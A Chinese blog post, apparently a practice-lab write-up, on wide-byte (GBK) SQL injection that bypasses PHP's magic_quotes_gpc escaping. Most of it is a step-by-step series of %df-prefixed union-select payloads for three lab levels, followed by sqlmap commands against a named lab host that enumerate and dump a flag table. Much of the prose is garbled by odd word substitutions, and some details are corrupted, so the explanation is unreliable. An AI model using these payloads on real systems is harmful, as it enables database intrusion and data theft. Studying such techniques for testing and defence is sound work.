魔术引号是什么
我们如今要理解一个PHP的防御函数
magic_quotes_gpc(魔术引号开关)
magic_quotes_gpc函数在php中的作用是判别解析用户提交的数据,如包括有:post、get、cookie过来的数据增加转义字符“”,以确保这些数据不会惹起程序,特别是数据库语句由于特殊字符惹起的污染而呈现致命的错误。
单引号(’)、双引号(”)、反斜线()与 NULL(NULL 字符)等字符都会被加上反斜线
magic_quotes_gpc的作用:当PHP的传参中有特殊字符就会再前面加转义字符'',来做一定的过滤
单引号和双引号内的一切都是字符串,那我们输入的东西假如不能闭合掉单引号和双引号,我们的输入就不会当作代码执行,就无法产生SQL注入,那我们该怎样办?
魔术引号在PHP5.4以上的版本被取消了,开不起的,经过PHP配置文件。
addslashes() =>魔术引号对等效果的函数
什么是GBK编码格式?
虽然如今呼吁一切的程序都运用unicode编码,一切的网站都运用utf-8编码,来一个统一的国际标准。但依然有很多,包括国内及国外(特别是非英语国度)的一些cms,依然运用着本人国度的一套编码,比方我国的gbk,作为本人默许的编码类型。也有一些cms为了思索老用户,推出了gbk和utf-8两个版本(例如:dedecms)
我们就以gbk字符编码为例,拉开帷幕。GBK全称《汉字内码扩展标准》,gbk是一种多字符编码。他运用了双字节编码计划,由于双字节编码所以gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。我们能够经过输出来考证这句话。
例如:0xD50×5C 对应了汉字“誠”,URL编码用百分号加字符的16进制编码表示字符,于是 %d5%5c 经URL解码后为“誠”。
Utf-8后面汉字变成了%d5%5c,编译出斜杠
Utf-8变成GBK解码出汉字
宽字节SQL注入的原理
前面讲到了GBK编码格式。GBK是双字符编码,那么为什么他们会和浸透测试发送了“巧遇”呢?
宽字节SQL注入主要是源于程序员设置数据库编码为非英文编码那么就有可能产生宽字节注入
例如说MySql的编码设置为了SET NAMES 'gbk'或是 SET character_set_client =gbk,这样配置会引发编码转换从而招致的注入破绽。
宽字节SQL注入就是PHP发送恳求到MySql时运用了语句
SET NAMES 'gbk' 或是SET character_set_client =gbk 停止了一次编码,但是又由于一些不经意的字符集转换招致了宽字节注入。
magic_quotes_gpc的作用:当PHP的传参中有特殊字符就会在前面加转义字符'',来做一定的过滤
绕过magic_quotes_gpc
为了绕过magic_quotes_gpc的,于是乎我们开端导入宽字节的概念
我们发现的编码是%5c,然后我们会想到传参一个字符想方法凑成一个gbk字符,例如:‘運’字是%df%5c
SELECT * FROM users WHERE id='1'' LIMIT 0,1
这条语句由于使我们无法去注入,那么我们是不是能够用%df吃到%5c,由于假如用GBK编码的话这个就是運,然后胜利的让!。
SELECT * FROM users WHERE id='1�'#' LIMIT 0,1
� 实践上就是那个運字
判别能否有注入点
?id=1%df' — qwe
判别数据库长度
?id=1%df' order by 1 — qwe
输入4没有回显,阐明长度为3
当前数据库名
?id=1%df' union select 1,2,database() — qwe
查询自带库里面表名
?id=1%df' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,2 — qwe
查询字段名
?id=1%df' union select 1,column_name,3 from information_schema.columns where table_schema=database() and table_name='china_flag' — qwe
这里数据必需用引号括起来
能够用16进制来替代字符串
?id=1%df' union select 1,column_name,3 from information_schema.columns where table_schema=database() and table_name=0x6368696e615f666c6167 — qwe
第二种办法
16进制不能被运用能够换成套娃法
?id=1%df' union select 1,column_name,3 from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1) — qwe
查询表容
?id=1%df' union select 1,C_Flag,3 from china_flag limit 0,2 — qwe
Pass-16
闭合")
判别能否有注入点
?id=1%df") — qwe
判别数据库长度
?id=1%df") order by 1 — qwe
当前数据库名
?id=1%df") union select 1,2,database() — qwe
查询自带库里面表名
?id=1%df") union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,2 — qwe
查询字段名
?id=1%df") union select 1,column_name,3 from information_schema.columns where table_schema=database() and table_name=0x6368696e615f666c6167 — qwe
查询表容
?id=1%df") union select 1,C_Flag,3 from china_flag limit 0,3 — qwe
Pass-17
闭合')
POST注入并不会停止URL转码,所以不能写%df,假如需求的话能够改hex
UTF-8 3个字符
GBK 2个字符
1个字符
外面传参一个汉字(UTF-8)3个字符
进了数据库GBK 3+1 = 4 => 这里两个汉字
判别数据库长度
汗') or length(database())=8 — qwe
sqlmap工具SQL注入
当前一切数据库名
sqlmap -u http://inject2.lab.aqlab.cn:81/Pass-17/index.php –data "username=汗')" -b –dbs
查询自带库里面表名
sqlmap -u http://inject2.lab.aqlab.cn:81/Pass-17/index.php –data "username=汗')" –tables -D widechar -v 3
查询字段名
sqlmap -u http://inject2.lab.aqlab.cn:81/Pass-17/index.php –data "username=汗')" –tables -D widechar -T china_flag –columns
查询表容
sqlmap -u http://inject2.lab.aqlab.cn:81/Pass-17/index.php –data "username=汗')" –tables -D widechar -T china_flag -C Id,C_Flag –dump
感谢您的来访,获取更多精彩文章请收藏本站。
![](https://www.gyzsq.com/wp-content/uploads/2022/07/9259adea4619.gif)
1 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
2 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
3 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
![头像](/wp-content/themes/zibll/img/avatar-default.png)
- 最新
- 最热
只看作者